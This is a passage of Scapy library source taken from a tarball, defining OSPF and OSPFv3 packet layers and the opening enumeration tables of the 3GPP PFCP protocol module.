"0.0.0.0"), # default: backbone XShortField("chksum", None), ShortEnumField("authtype", 0, {0: "Null", 1: "Simple", 2: "Crypto"}), # Null or Simple Authentication ConditionalField(XLongField("authdata", 0), lambda pkt: pkt.authtype != 2), # noqa: E501 # Crypto Authentication ConditionalField(XShortField("reserved", 0), lambda pkt: pkt.authtype == 2), # noqa: E501 ConditionalField(ByteField("keyid", 1), lambda pkt: pkt.authtype == 2), ConditionalField(ByteField("authdatalen", 0), lambda pkt: pkt.authtype == 2), # noqa: E501 ConditionalField(XIntField("seq", 0), lambda pkt: pkt.authtype == 2), # TODO: Support authdata (which is appended to the packets as if it were padding) # noqa: E501 ] def post_build(self, p, pay): # See p += pay if self.chksum is None: if self.authtype == 2: ck = 0 # Crypto, see RFC 2328, D.4.3 else: # Checksum is calculated without authentication data # Algorithm is the same as in IP() ck = checksum(p[:16] + p[24:]) p = p[:12] + struct.pack("!H", ck) + p[14:] # TODO: Handle Crypto: Add message digest (RFC 2328, D.4.3) return p def hashret(self): return struct.pack("H", self.area) + self.payload.hashret() def answers(self, other): if (isinstance(other, OSPF_Hdr) and self.area == other.area and self.type == 5): # Only acknowledgements answer other packets return self.payload.answers(other.payload) return 0 class OSPF_Hello(Packet): name = "OSPF Hello" fields_desc = [IPField("mask", "255.255.255.0"), ShortField("hellointerval", 10), OSPFOptionsField(), ByteField("prio", 1), IntField("deadinterval", 40), IPField("router", "0.0.0.0"), IPField("backup", "0.0.0.0"), FieldListField("neighbors", [], IPField("", "0.0.0.0"), length_from=lambda pkt: (pkt.underlayer.len - 44) if pkt.underlayer else None)] # noqa: E501 def guess_payload_class(self, payload): # check presence of LLS data block flag if self.options & 0x10 == 0x10: return OSPF_LLS_Hdr else: return Packet.guess_payload_class(self, payload) class LLS_Generic_TLV(Packet): name = "LLS Generic" fields_desc = [ShortField("type", 0), FieldLenField("len", None, length_of="val"), StrLenField("val", "", length_from=lambda x: x.len)] def guess_payload_class(self, p): return conf.padding_layer class LLS_Extended_Options(LLS_Generic_TLV): name = "LLS Extended Options and Flags" fields_desc = [ShortField("type", 1), FieldLenField("len", None, fmt="!H", length_of="options"), StrLenField("options", "", length_from=lambda x: x.len)] # TODO: FlagsField("options", 0, names=["LR", "RS"], size) with dynamic size # noqa: E501 class LLS_Crypto_Auth(LLS_Generic_TLV): name = "LLS Cryptographic Authentication" fields_desc = [ShortField("type", 2), FieldLenField("len", 20, fmt="B", length_of=lambda x: x.authdata + 4), # noqa: E501 XIntField("sequence", 0), StrLenField("authdata", b"\x00" * 16, length_from=lambda x: x.len - 4)] # noqa: E501 _OSPF_LLSclasses = {1: "LLS_Extended_Options", 2: "LLS_Crypto_Auth"} def _LLSGuessPayloadClass(p, **kargs): """ Guess the correct LLS class for a given payload """ cls = conf.raw_layer if len(p) >= 3: typ = struct.unpack("!H", p[0:2])[0] clsname = _OSPF_LLSclasses.get(typ, "LLS_Generic_TLV") cls = globals()[clsname] return cls(p, **kargs) class FieldLenField32Bits(FieldLenField): def i2repr(self, pkt, x): return repr(x) if not x else str(FieldLenField.i2h(self, pkt, x) << 2) + " bytes" # noqa: E501 class OSPF_LLS_Hdr(Packet): name = "OSPF Link-local signaling" fields_desc = [XShortField("chksum", None), FieldLenField32Bits("len", None, length_of="llstlv", adjust=lambda pkt, x: (x + 4) >> 2), # noqa: E501 PacketListField("llstlv", [], _LLSGuessPayloadClass, length_from=lambda x: (x.len << 2) - 4)] # noqa: E501 def post_build(self, p, pay): p += pay if self.chksum is None: c = checksum(p) p = struct.pack("!H", c) + p[2:] return p _OSPF_LStypes = {1: "router", 2: "network", 3: "summaryIP", 4: "summaryASBR", 5: "external", 7: "NSSAexternal", 9: "linkScopeOpaque", 10: "areaScopeOpaque", 11: "asScopeOpaque"} _OSPF_LSclasses = {1: "OSPF_Router_LSA", 2: "OSPF_Network_LSA", 3: "OSPF_SummaryIP_LSA", 4: "OSPF_SummaryASBR_LSA", 5: "OSPF_External_LSA", 7: "OSPF_NSSA_External_LSA", 9: "OSPF_Link_Scope_Opaque_LSA", 10: "OSPF_Area_Scope_Opaque_LSA", 11: "OSPF_AS_Scope_Opaque_LSA"} def ospf_lsa_checksum(lsa): return fletcher16_checkbytes(b"\x00\x00" + lsa[2:], 16) # leave out age class OSPF_LSA_Hdr(Packet): name = "OSPF LSA Header" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteEnumField("type", 1, _OSPF_LStypes), IPField("id", "192.168.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", 0), ShortField("len", 36)] def extract_padding(self, s): return "", s _OSPF_Router_LSA_types = {1: "p2p", 2: "transit", 3: "stub", 4: "virtual"} class OSPF_Link(Packet): name = "OSPF Link" fields_desc = [IPField("id", "192.168.0.0"), IPField("data", "255.255.255.0"), ByteEnumField("type", 3, _OSPF_Router_LSA_types), ByteField("toscount", 0), ShortField("metric", 10), # TODO: define correct conditions ConditionalField(ByteField("tos", 0), lambda pkt: False), ConditionalField(ByteField("reserved", 0), lambda pkt: False), # noqa: E501 ConditionalField(ShortField("tosmetric", 0), lambda pkt: False)] # noqa: E501 def extract_padding(self, s): return "", s def _LSAGuessPayloadClass(p, **kargs): """ Guess the correct LSA class for a given payload """ # This is heavily based on scapy-cdp.py by Nicolas Bareil and Arnaud Ebalard # noqa: E501 cls = conf.raw_layer if len(p) >= 4: typ = orb(p[3]) clsname = _OSPF_LSclasses.get(typ, "Raw") cls = globals()[clsname] return cls(p, **kargs) class OSPF_BaseLSA(Packet): """ An abstract base class for Link State Advertisements """ def post_build(self, p, pay): length = self.len if length is None: length = len(p) p = p[:18] + struct.pack("!H", length) + p[20:] if self.chksum is None: chksum = ospf_lsa_checksum(p) p = p[:16] + chksum + p[18:] return p # p+pay? def extract_padding(self, s): return "", s class OSPF_Router_LSA(OSPF_BaseLSA): name = "OSPF Router LSA" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteField("type", 1), IPField("id", "1.1.1.1"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), FlagsField("flags", 0, 8, ["B", "E", "V", "W", "Nt"]), ByteField("reserved", 0), FieldLenField("linkcount", None, count_of="linklist"), PacketListField("linklist", [], OSPF_Link, count_from=lambda pkt: pkt.linkcount, length_from=lambda pkt: pkt.linkcount * 12)] class OSPF_Network_LSA(OSPF_BaseLSA): name = "OSPF Network LSA" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteField("type", 2), IPField("id", "192.168.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), IPField("mask", "255.255.255.0"), FieldListField("routerlist", [], IPField("", "1.1.1.1"), length_from=lambda pkt: pkt.len - 24)] class OSPF_SummaryIP_LSA(OSPF_BaseLSA): name = "OSPF Summary LSA (IP Network)" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteField("type", 3), IPField("id", "192.168.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), IPField("mask", "255.255.255.0"), ByteField("reserved", 0), X3BytesField("metric", 10), # TODO: Define correct conditions ConditionalField(ByteField("tos", 0), lambda pkt:False), ConditionalField(X3BytesField("tosmetric", 0), lambda pkt:False)] # noqa: E501 class OSPF_SummaryASBR_LSA(OSPF_SummaryIP_LSA): name = "OSPF Summary LSA (AS Boundary Router)" type = 4 id = "2.2.2.2" mask = "0.0.0.0" metric = 20 class OSPF_External_LSA(OSPF_BaseLSA): name = "OSPF External LSA (ASBR)" fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteField("type", 5), IPField("id", "192.168.0.0"), IPField("adrouter", "2.2.2.2"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), IPField("mask", "255.255.255.0"), FlagsField("ebit", 0, 1, ["E"]), BitField("reserved", 0, 7), X3BytesField("metric", 20), IPField("fwdaddr", "0.0.0.0"), XIntField("tag", 0), # TODO: Define correct conditions ConditionalField(ByteField("tos", 0), lambda pkt:False), ConditionalField(X3BytesField("tosmetric", 0), lambda pkt:False)] # noqa: E501 class OSPF_NSSA_External_LSA(OSPF_External_LSA): name = "OSPF NSSA External LSA" type = 7 class OSPF_Link_Scope_Opaque_LSA(OSPF_BaseLSA): name = "OSPF Link Scope External LSA" type = 9 fields_desc = [ShortField("age", 1), OSPFOptionsField(), ByteField("type", 9), IPField("id", "192.0.2.1"), IPField("adrouter", "198.51.100.100"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), StrLenField("data", "data", length_from=lambda pkt: pkt.len - 20) ] def opaqueid(self): return struct.unpack('>I', inet_aton(self.id))[0] & 0xFFFFFF def opaquetype(self): return (struct.unpack('>I', inet_aton(self.id))[0] >> 24) & 0xFF class OSPF_Area_Scope_Opaque_LSA(OSPF_Link_Scope_Opaque_LSA): name = "OSPF Area Scope External LSA" type = 10 class OSPF_AS_Scope_Opaque_LSA(OSPF_Link_Scope_Opaque_LSA): name = "OSPF AS Scope External LSA" type = 11 class OSPF_DBDesc(Packet): name = "OSPF Database Description" fields_desc = [ShortField("mtu", 1500), OSPFOptionsField(), FlagsField("dbdescr", 0, 8, ["MS", "M", "I", "R", "4", "3", "2", "1"]), # noqa: E501 IntField("ddseq", 1), PacketListField("lsaheaders", None, OSPF_LSA_Hdr, count_from=lambda pkt: None, length_from=lambda pkt: pkt.underlayer.len - 24 - 8)] # noqa: E501 def guess_payload_class(self, payload): # check presence of LLS data block flag if self.options & 0x10 == 0x10: return OSPF_LLS_Hdr else: return Packet.guess_payload_class(self, payload) class OSPF_LSReq_Item(Packet): name = "OSPF Link State Request (item)" fields_desc = [IntEnumField("type", 1, _OSPF_LStypes), IPField("id", "1.1.1.1"), IPField("adrouter", "1.1.1.1")] def extract_padding(self, s): return "", s class OSPF_LSReq(Packet): name = "OSPF Link State Request (container)" fields_desc = [PacketListField("requests", None, OSPF_LSReq_Item, count_from=lambda pkt:None, length_from=lambda pkt:pkt.underlayer.len - 24)] # noqa: E501 class OSPF_LSUpd(Packet): name = "OSPF Link State Update" fields_desc = [FieldLenField("lsacount", None, fmt="!I", count_of="lsalist"), # noqa: E501 PacketListField("lsalist", None, _LSAGuessPayloadClass, count_from=lambda pkt: pkt.lsacount, length_from=lambda pkt: pkt.underlayer.len - 24)] # noqa: E501 class OSPF_LSAck(Packet): name = "OSPF Link State Acknowledgement" fields_desc = [PacketListField("lsaheaders", None, OSPF_LSA_Hdr, count_from=lambda pkt: None, length_from=lambda pkt: pkt.underlayer.len - 24)] # noqa: E501 def answers(self, other): if isinstance(other, OSPF_LSUpd): for reqLSA in other.lsalist: for ackLSA in self.lsaheaders: if (reqLSA.type == ackLSA.type and reqLSA.seq == ackLSA.seq): return 1 return 0 ############################################################################### # OSPFv3 ############################################################################### class OSPFv3_Hdr(Packet): name = "OSPFv3 Header" fields_desc = [ByteField("version", 3), ByteEnumField("type", 1, _OSPF_types), ShortField("len", None), IPField("src", "1.1.1.1"), IPField("area", "0.0.0.0"), XShortField("chksum", None), ByteField("instance", 0), ByteField("reserved", 0)] def post_build(self, p, pay): p += pay tmp_len = self.len if tmp_len is None: tmp_len = len(p) p = p[:2] + struct.pack("!H", tmp_len) + p[4:] if self.chksum is None: chksum = in6_chksum(89, self.underlayer, p) p = p[:12] + struct.pack("!H", chksum) + p[14:] return p class OSPFv3OptionsField(FlagsField): def __init__(self, name="options", default=0, size=24, names=None): if names is None: names = ["V6", "E", "MC", "N", "R", "DC", "AF", "L", "I", "F"] FlagsField.__init__(self, name, default, size, names) class OSPFv3_Hello(Packet): name = "OSPFv3 Hello" fields_desc = [IntField("intid", 0), ByteField("prio", 1), OSPFv3OptionsField(), ShortField("hellointerval", 10), ShortField("deadinterval", 40), IPField("router", "0.0.0.0"), IPField("backup", "0.0.0.0"), FieldListField("neighbors", [], IPField("", "0.0.0.0"), length_from=lambda pkt: (pkt.underlayer.len - 36))] # noqa: E501 _OSPFv3_LStypes = {0x2001: "router", 0x2002: "network", 0x2003: "interAreaPrefix", 0x2004: "interAreaRouter", 0x4005: "asExternal", 0x2007: "type7", 0x0008: "link", 0x2009: "intraAreaPrefix"} _OSPFv3_LSclasses = {0x2001: "OSPFv3_Router_LSA", 0x2002: "OSPFv3_Network_LSA", 0x2003: "OSPFv3_Inter_Area_Prefix_LSA", 0x2004: "OSPFv3_Inter_Area_Router_LSA", 0x4005: "OSPFv3_AS_External_LSA", 0x2007: "OSPFv3_Type_7_LSA", 0x0008: "OSPFv3_Link_LSA", 0x2009: "OSPFv3_Intra_Area_Prefix_LSA"} class OSPFv3_LSA_Hdr(Packet): name = "OSPFv3 LSA Header" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2001, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", 0), ShortField("len", 36)] def extract_padding(self, s): return "", s def _OSPFv3_LSAGuessPayloadClass(p, **kargs): """ Guess the correct OSPFv3 LSA class for a given payload """ cls = conf.raw_layer if len(p) >= 6: typ = struct.unpack("!H", p[2:4])[0] clsname = _OSPFv3_LSclasses.get(typ, "Raw") cls = globals()[clsname] return cls(p, **kargs) _OSPFv3_Router_LSA_types = {1: "p2p", 2: "transit", 3: "reserved", 4: "virtual"} class OSPFv3_Link(Packet): name = "OSPFv3 Link" fields_desc = [ByteEnumField("type", 1, _OSPFv3_Router_LSA_types), ByteField("reserved", 0), ShortField("metric", 10), IntField("intid", 0), IntField("neighintid", 0), IPField("neighbor", "2.2.2.2")] def extract_padding(self, s): return "", s class OSPFv3_Router_LSA(OSPF_BaseLSA): name = "OSPFv3 Router LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2001, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), FlagsField("flags", 0, 8, ["B", "E", "V", "W"]), OSPFv3OptionsField(), PacketListField("linklist", [], OSPFv3_Link, length_from=lambda pkt:pkt.len - 24)] class OSPFv3_Network_LSA(OSPF_BaseLSA): name = "OSPFv3 Network LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2002, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), ByteField("reserved", 0), OSPFv3OptionsField(), FieldListField("routerlist", [], IPField("", "0.0.0.1"), length_from=lambda pkt: pkt.len - 24)] class OSPFv3PrefixOptionsField(FlagsField): def __init__(self, name="prefixoptions", default=0, size=8, names=None): if names is None: names = ["NU", "LA", "MC", "P"] FlagsField.__init__(self, name, default, size, names) class OSPFv3_Inter_Area_Prefix_LSA(OSPF_BaseLSA): name = "OSPFv3 Inter Area Prefix LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2003, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), ByteField("reserved", 0), X3BytesField("metric", 10), FieldLenField("prefixlen", None, length_of="prefix", fmt="B"), # noqa: E501 OSPFv3PrefixOptionsField(), ShortField("reserved2", 0), IP6PrefixField("prefix", "2001:db8:0:42::/64", wordbytes=4, length_from=lambda pkt: pkt.prefixlen)] # noqa: E501 class OSPFv3_Inter_Area_Router_LSA(OSPF_BaseLSA): name = "OSPFv3 Inter Area Router LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2004, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), ByteField("reserved", 0), OSPFv3OptionsField(), ByteField("reserved2", 0), X3BytesField("metric", 1), IPField("router", "2.2.2.2")] class OSPFv3_AS_External_LSA(OSPF_BaseLSA): name = "OSPFv3 AS External LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x4005, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), FlagsField("flags", 0, 8, ["T", "F", "E"]), X3BytesField("metric", 20), FieldLenField("prefixlen", None, length_of="prefix", fmt="B"), # noqa: E501 OSPFv3PrefixOptionsField(), ShortEnumField("reflstype", 0, _OSPFv3_LStypes), IP6PrefixField("prefix", "2001:db8:0:42::/64", wordbytes=4, length_from=lambda pkt: pkt.prefixlen), # noqa: E501 ConditionalField(IP6Field("fwaddr", "::"), lambda pkt: pkt.flags & 0x02 == 0x02), # noqa: E501 ConditionalField(IntField("tag", 0), lambda pkt: pkt.flags & 0x01 == 0x01), # noqa: E501 ConditionalField(IPField("reflsid", 0), lambda pkt: pkt.reflstype != 0)] # noqa: E501 class OSPFv3_Type_7_LSA(OSPFv3_AS_External_LSA): name = "OSPFv3 Type 7 LSA" type = 0x2007 class OSPFv3_Prefix_Item(Packet): name = "OSPFv3 Link Prefix Item" fields_desc = [FieldLenField("prefixlen", None, length_of="prefix", fmt="B"), # noqa: E501 OSPFv3PrefixOptionsField(), ShortField("metric", 10), IP6PrefixField("prefix", "2001:db8:0:42::/64", wordbytes=4, length_from=lambda pkt: pkt.prefixlen)] # noqa: E501 def extract_padding(self, s): return "", s class OSPFv3_Link_LSA(OSPF_BaseLSA): name = "OSPFv3 Link LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x0008, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), ByteField("prio", 1), OSPFv3OptionsField(), IP6Field("lladdr", "fe80::"), FieldLenField("prefixes", None, count_of="prefixlist", fmt="I"), # noqa: E501 PacketListField("prefixlist", None, OSPFv3_Prefix_Item, count_from=lambda pkt: pkt.prefixes)] class OSPFv3_Intra_Area_Prefix_LSA(OSPF_BaseLSA): name = "OSPFv3 Intra Area Prefix LSA" fields_desc = [ShortField("age", 1), ShortEnumField("type", 0x2009, _OSPFv3_LStypes), IPField("id", "0.0.0.0"), IPField("adrouter", "1.1.1.1"), XIntField("seq", 0x80000001), XShortField("chksum", None), ShortField("len", None), FieldLenField("prefixes", None, count_of="prefixlist", fmt="H"), # noqa: E501 ShortEnumField("reflstype", 0, _OSPFv3_LStypes), IPField("reflsid", "0.0.0.0"), IPField("refadrouter", "0.0.0.0"), PacketListField("prefixlist", None, OSPFv3_Prefix_Item, count_from=lambda pkt: pkt.prefixes)] class OSPFv3_DBDesc(Packet): name = "OSPFv3 Database Description" fields_desc = [ByteField("reserved", 0), OSPFv3OptionsField(), ShortField("mtu", 1500), ByteField("reserved2", 0), FlagsField("dbdescr", 0, 8, ["MS", "M", "I", "R"]), IntField("ddseq", 1), PacketListField("lsaheaders", None, OSPFv3_LSA_Hdr, count_from=lambda pkt:None, length_from=lambda pkt:pkt.underlayer.len - 28)] # noqa: E501 class OSPFv3_LSReq_Item(Packet): name = "OSPFv3 Link State Request (item)" fields_desc = [ShortField("reserved", 0), ShortEnumField("type", 0x2001, _OSPFv3_LStypes), IPField("id", "1.1.1.1"), IPField("adrouter", "1.1.1.1")] def extract_padding(self, s): return "", s class OSPFv3_LSReq(Packet): name = "OSPFv3 Link State Request (container)" fields_desc = [PacketListField("requests", None, OSPFv3_LSReq_Item, count_from=lambda pkt:None, length_from=lambda pkt:pkt.underlayer.len - 16)] # noqa: E501 class OSPFv3_LSUpd(Packet): name = "OSPFv3 Link State Update" fields_desc = [FieldLenField("lsacount", None, fmt="!I", count_of="lsalist"), # noqa: E501 PacketListField("lsalist", [], _OSPFv3_LSAGuessPayloadClass, count_from=lambda pkt:pkt.lsacount, length_from=lambda pkt:pkt.underlayer.len - 16)] # noqa: E501 class OSPFv3_LSAck(Packet): name = "OSPFv3 Link State Acknowledgement" fields_desc = [PacketListField("lsaheaders", None, OSPFv3_LSA_Hdr, count_from=lambda pkt:None, length_from=lambda pkt:pkt.underlayer.len - 16)] # noqa: E501 bind_layers(IP, OSPF_Hdr, proto=89) bind_layers(OSPF_Hdr, OSPF_Hello, type=1) bind_layers(OSPF_Hdr, OSPF_DBDesc, type=2) bind_layers(OSPF_Hdr, OSPF_LSReq, type=3) bind_layers(OSPF_Hdr, OSPF_LSUpd, type=4) bind_layers(OSPF_Hdr, OSPF_LSAck, type=5) DestIPField.bind_addr(OSPF_Hdr, "224.0.0.5") bind_layers(IPv6, OSPFv3_Hdr, nh=89) bind_layers(OSPFv3_Hdr, OSPFv3_Hello, type=1) bind_layers(OSPFv3_Hdr, OSPFv3_DBDesc, type=2) bind_layers(OSPFv3_Hdr, OSPFv3_LSReq, type=3) bind_layers(OSPFv3_Hdr, OSPFv3_LSUpd, type=4) bind_layers(OSPFv3_Hdr, OSPFv3_LSAck, type=5) DestIP6Field.bind_addr(OSPFv3_Hdr, "ff02::5") if __name__ == "__main__": from scapy.main import interact interact(mydict=globals(), mybanner="OSPF extension %s" % EXT_VERSION) scapy-2.4.4/scapy/contrib/pfcp.py000066400000000000000000002311311372370053500167270ustar00rootroot00000000000000#! /usr/bin/env python # Copyright (C) 2019 Travelping GmbH # This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # 3GPP TS 29.244 # scapy.contrib.description = 3GPP Packet Forwarding Control Protocol # scapy.contrib.status = loads import struct from scapy.compat import chb, orb from scapy.error import warning from scapy.fields import Field, BitEnumField, BitField, ByteEnumField, \ ShortEnumField, ByteField, IntField, LongField, \ ConditionalField, FieldLenField, BitFieldLenField, FieldListField, \ IPField, MACField, PacketListField, ShortField, \ StrLenField, StrField, XBitField, XByteField, XIntField, XLongField, \ ThreeBytesField, SignedLongField, SignedIntField, MultipleTypeField from scapy.layers.inet import UDP from scapy.layers.inet6 import IP6Field from scapy.data import IANA_ENTERPRISE_NUMBERS from scapy.packet import bind_layers, bind_bottom_up, \ Packet, Raw from scapy.volatile import RandNum, RandBin PFCPmessageType = { 1: "heartbeat_request", 2: "heartbeat_response", 3: "pfd_management_request", 4: "pfd_management_response", 5: "association_setup_request", 6: "association_setup_response", 7: "association_update_request", 8: "association_update_response", 9: "association_release_request", 10: "association_release_response", 11: "version_not_supported_response", 12: "node_report_request", 13: "node_report_response", 14: "session_set_deletion_request", 15: "session_set_deletion_response", 50: "session_establishment_request", 51: "session_establishment_response", 52: "session_modification_request", 53: "session_modification_response", 54: "session_deletion_request", 55: "session_deletion_response", 56: "session_report_request", 57: "session_report_response", } IEType = { 0: "Reserved", 1: "Create PDR", 2: "PDI", 3: "Create FAR", 4: "Forwarding Parameters", 5: "Duplicating Parameters", 6: "Create URR", 7: "Create QER", 8: "Created PDR", 9: "Update PDR", 10: "Update FAR", 11: "Update Forwarding Parameters", 12: "Update BAR (PFCP Session Report Response)", 13: "Update URR", 14: "Update QER", 15: "Remove PDR", 16: "Remove FAR", 17: "Remove URR", 18: "Remove QER", 19: "Cause", 20: "Source Interface", 21: "F-TEID", 22: "Network Instance", 23: "SDF Filter", 24: "Application ID", 25: "Gate Status", 26: "MBR", 27: "GBR", 28: "QER Correlation ID", 29: "Precedence", 30: "Transport Level Marking", 31: "Volume Threshold", 32: "Time Threshold", 33: "Monitoring Time", 34: "Subsequent Volume Threshold", 35: "Subsequent Time Threshold", 36: "Inactivity Detection Time", 37: "Reporting Triggers", 38: "Redirect Information", 39: "Report Type", 40: "Offending IE", 41: "Forwarding Policy", 42: "Destination Interface", 43: "UP Function Features", 44: "Apply Action", 45: "Downlink Data Service Information", 46: "Downlink Data Notification Delay", 47: "DL Buffering Duration", 48: "DL Buffering Suggested Packet Count", 49: "PFCPSMReq-Flags", 50: "PFCPSRRsp-Flags", 51: "Load Control Information", 52: "Sequence Number", 53: "Metric", 54: "Overload Control Information", 55: "Timer", 56: "PDR ID", 57: "F-SEID", 58: "Application ID's PFDs", 59: "PFD context", 60: "Node ID", 61: "PFD contents", 62: "Measurement Method", 63: "Usage Report Trigger", 64: "Measurement Period", 65: "FQ-CSID", 66: "Volume Measurement", 67: "Duration Measurement", 68: "Application Detection Information", 69: "Time of First Packet", 70: "Time of Last Packet", 71: "Quota Holding Time", 72: "Dropped DL Traffic Threshold", 73: "Volume Quota", 74: "Time Quota", 75: "Start Time", 76: "End Time", 77: "Query URR", 78: "Usage Report (Session Modification Response)", 79: "Usage Report (Session Deletion Response)", 80: "Usage Report (Session Report Request)", 81: "URR ID", 82: "Linked URR ID", 83: "Downlink Data Report", 84: "Outer Header Creation", 85: "Create BAR", 86: "Update BAR (Session Modification Request)", 87: "Remove BAR", 88: "BAR ID", 89: "CP Function Features", 90: "Usage Information", 91: "Application Instance ID", 92: "Flow Information", 93: "UE IP Address", 94: "Packet Rate", 95: "Outer Header Removal", 96: "Recovery Time Stamp", 97: "DL Flow Level Marking", 98: "Header Enrichment", 99: "Error Indication Report", 100: "Measurement Information", 101: "Node Report Type", 102: "User Plane Path Failure Report", 103: "Remote GTP-U Peer", 104: "UR-SEQN", 105: "Update Duplicating Parameters", 106: "Activate Predefined Rules", 107: "Deactivate Predefined Rules", 108: "FAR ID", 109: "QER ID", 110: "OCI Flags", 111: "PFCP Association Release Request", 112: "Graceful Release Period", 113: "PDN Type", 114: "Failed Rule ID", 115: "Time Quota Mechanism", 116: "User Plane IP Resource Information", 117: "User Plane Inactivity Timer", 118: "Aggregated URRs", 119: "Multiplier", 120: "Aggregated URR ID", 121: "Subsequent Volume Quota", 122: "Subsequent Time Quota", 123: "RQI", 124: "QFI", 125: "Query URR Reference", 126: "Additional Usage Reports Information", 127: "Create Traffic Endpoint", 128: "Created Traffic Endpoint", 129: "Update Traffic Endpoint", 130: "Remove Traffic Endpoint", 131: "Traffic Endpoint ID", 132: "Ethernet Packet Filter", 133: "MAC Address", 134: "C-TAG", 135: "S-TAG", 136: "Ethertype", 137: "Proxying", 138: "Ethernet Filter ID", 139: "Ethernet Filter Properties", 140: "Suggested Buffering Packets Count", 141: "User ID", 142: "Ethernet PDU Session Information", 143: "Ethernet Traffic Information", 144: "MAC Addresses Detected", 145: "MAC Addresses Removed", 146: "Ethernet Inactivity Timer", 147: "Additional Monitoring Time", 148: "Event Quota", 149: "Event Threshold", 150: "Subsequent Event Quota", 151: "Subsequent Event Threshold", 152: "Trace Information", 153: "Framed-Route", 154: "Framed-Routing", 155: "Framed-IPv6-Route", 156: "Event Time Stamp", 157: "Averaging Window", 158: "Paging Policy Indicator", 159: "APN/DNN", 160: "3GPP Interface Type", } CauseValues = { 0: "Reserved", 1: "Request accepted", 64: "Request rejected", 65: "Session context not found", 66: "Mandatory IE missing", 67: "Conditional IE missing", 68: "Invalid length", 69: "Mandatory IE incorrect", 70: "Invalid Forwarding Policy", 71: "Invalid F-TEID allocation option", 72: "No established Sx Association", 73: "Rule creation/modification Failure", 74: "PFCP entity in congestion", 75: "No resources available", 76: "Service not supported", 77: "System failure", } SourceInterface = { 0: "Access", 1: "Core", 2: "SGi-LAN/N6-LAN", 3: "CP-function", } DestinationInterface = { 0: "Access", 1: "Core", 2: "SGi-LAN/N6-LAN", 3: "CP-function", 4: "LI function", } RedirectAddressType = { 0: "IPv4 address", 1: "IPv6 address", 2: "URL", 3: "SIP URI", } GateStatus = { 0: "OPEN", 1: "CLOSED", 2: "CLOSED_RESERVED_2", 3: "CLOSED_RESERVED_3", } TimerUnit = { 0: '2 seconds', 1: '1 minute', 2: '10 minutes', 3: '1 hour', 4: '10 hours', 7: 'infinite', } OuterHeaderRemovalDescription = { 0: "GTP-U/UDP/IPv4", 1: "GTP-U/UDP/IPv6", 2: "UDP/IPv4", 3: "UDP/IPv6", 4: "IPv4", 5: "IPv6", 6: "GTP-U/UDP/IP", 7: "VLAN S-TAG", 8: "S-TAG and C-TAG", } NodeIdType = { 0: "IPv4", 1: "IPv6", 2: "FQDN", } FqCSIDNodeIdType = { 0: "IPv4", 1: "IPv6", 2: "MCCMNCId", } FlowDirection = { 0: "Unspecified", 1: "Downlink", # traffic to the UE 2: "Uplink", # traffic from the UE 3: "Bidirectional", 4: "Unspecified4", 5: "Unspecified5", 6: "Unspecified6", 7: "Unspecified7", } TimeUnit = { 0: "minute", 1: "6 minutes", 2: "hour", 3: "day", 4: "week", 5: "min5", # same as 0 (minute) 6: "min6", # same as 0 (minute) 7: "min7", # same as 0 (minute) } HeaderType = { 0: "HTTP", } PDNType = { 0: "IPv4", 1: "IPv6", 2: "IPv4v6", 3: "Non-IP", 4: "Ethernet", } RuleIDType = { 0: "PDR", 1: "FAR", 2: "QER", 3: "URR", 4: "BAR", # TODO: other values should be interpreted as '1' if received } BaseTimeInterval = { 0: "CTP", 1: "DTP", } InterfaceType = { 0: "S1-U", 1: "S5 /S8-U", 2: "S4-U", 3: "S11-U", 4: "S12-U", 5: "Gn/Gp-U", 6: "S2a-U", 7: "S2b-U", 8: "eNodeB GTP-U interface for DL data forwarding", 9: "eNodeB GTP-U interface for UL data forwarding", 10: "SGW/UPF GTP-U interface for DL data forwarding", 11: "N3 3GPP Access", 12: "N3 Trusted Non-3GPP Access", 13: "N3 Untrusted Non-3GPP Access", 14: "N3 for data forwarding", 15: "N9", } class PFCPLengthMixin(object): def post_build(self, p, pay): p += pay if self.length is None: tmp_len = len(p) - 4 p = 